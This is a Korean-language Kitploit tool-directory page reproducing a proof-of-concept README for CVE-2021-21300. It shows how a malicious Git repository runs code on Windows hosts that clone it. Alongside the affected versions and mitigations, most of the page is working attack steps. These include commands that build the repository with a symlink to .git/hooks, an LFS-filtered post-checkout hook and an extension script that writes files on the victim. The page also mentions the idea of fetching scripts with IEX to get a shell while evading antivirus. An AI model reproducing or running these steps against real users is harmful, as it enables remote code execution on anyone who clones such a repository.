Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-21300 — CVE-2021-21300에 대한 개념 증명 익스플로잇으로, 악성 git 저장소 복제 시 대소문자 구분 없는 파일 시스템에서 심볼릭 링크와 필터 남용을 통해 원격 코드 실행을 시연합니다. | Kitploit
도구/GitHubGitHub/fengzhouc/cve-2021-21300
Privilege EscalationVulnerability AnalysisExploitationLateral MovementShellcodePost-ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

CVE-2021-21300에 대한 개념 증명 익스플로잇으로, 악성 git 저장소 복제 시 대소문자 구분 없는 파일 시스템에서 심볼릭 링크와 필터 남용을 통해 원격 코드 실행을 시연합니다.

35년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2021-21300

Git의 여러 버전에서 심볼릭 링크 처리가 엄격하지 않습니다. 대소문자를 구분하는(예: Linux) 파일 시스템에서 Git에 파일을 업로드한 후, 대소문자를 구분하지 않는 파일 시스템(예: Windows)을 사용하는 호스트가 악성 저장소를 클론할 때 원격 명령 실행이 발생할 수 있습니다.

영향을 받는 버전

2.15부터 현재 2.30.1까지

해결 방법

  1. 버전 업그레이드
  2. 다음과 같음

Git의 symlink 비활성화: git config --global core.symlinks false

프로세스 필터 비활성화 (일반적으로 LFS가 이 기능을 사용함): git config --show-scope --get-regexp 'filter\..*\.process'로 확인 가능

트리거 조건

  1. 저장소에 동일한 이름의 심볼릭 링크와 디렉토리가 존재
  2. 심볼릭 링크가 특별한 디렉토리(.git/hooks)를 가리킴
  3. 피해 시스템이 악성 명령을 실행할 충분한 권한을 가지고 있어야 함

재현

01 환경 준비

① 저장소 준비:

시스템: ubuntux64

git 및 git-lfs 설치 필요

git lfs install 명령 실행 시 오류가 발생할 수 있음

Error: Failed to call git rev-parse --git-dir: exit status 128

무시 가능

"Git LFS initialized."가 나타나면 설치 완료

② 피해 시스템:

시스템: win10x64

git for windows: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

git for windows 설치는 모두 기본값으로 진행

02 악성 저장소 준비

① GitHub에 새 저장소 생성:

인터넷에 관련 튜토리얼이 많으므로 생략함

② Ubuntu에서 악성 저장소를 구축하여 GitHub에 업로드:

다음 명령어를 실행합니다.

root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [자신의 저장소 주소]
$ git push -u origin main

03 공격 테스트

win10의 **PowerShell(관리자)**에서 다음 명령어를 실행합니다.

git clone -c core.symlinks=true [자신의 저장소 주소]

클론 후 "PWNED"가 나타나면 원격 명령 실행 성공입니다.

보시다시피 클론 시 post-checkout 파일의 명령이 실행됩니다.

아이디어는 IEX를 사용하여 스크립트를 다운로드하고, kali를 통해 쉘을 획득하는 것이지만 대부분의 스크립트가 탐지되어 차단되므로, 우회 면역을 통해 가능할 것으로 보입니다.

04 확장 활용

디렉토리에 스크립트 파일 hack.sh 추가

내용은 다음과 같음

root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

post-checkout에서 실행되는 명령을 수정하여 스크립트를 실행

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

도구 다운로드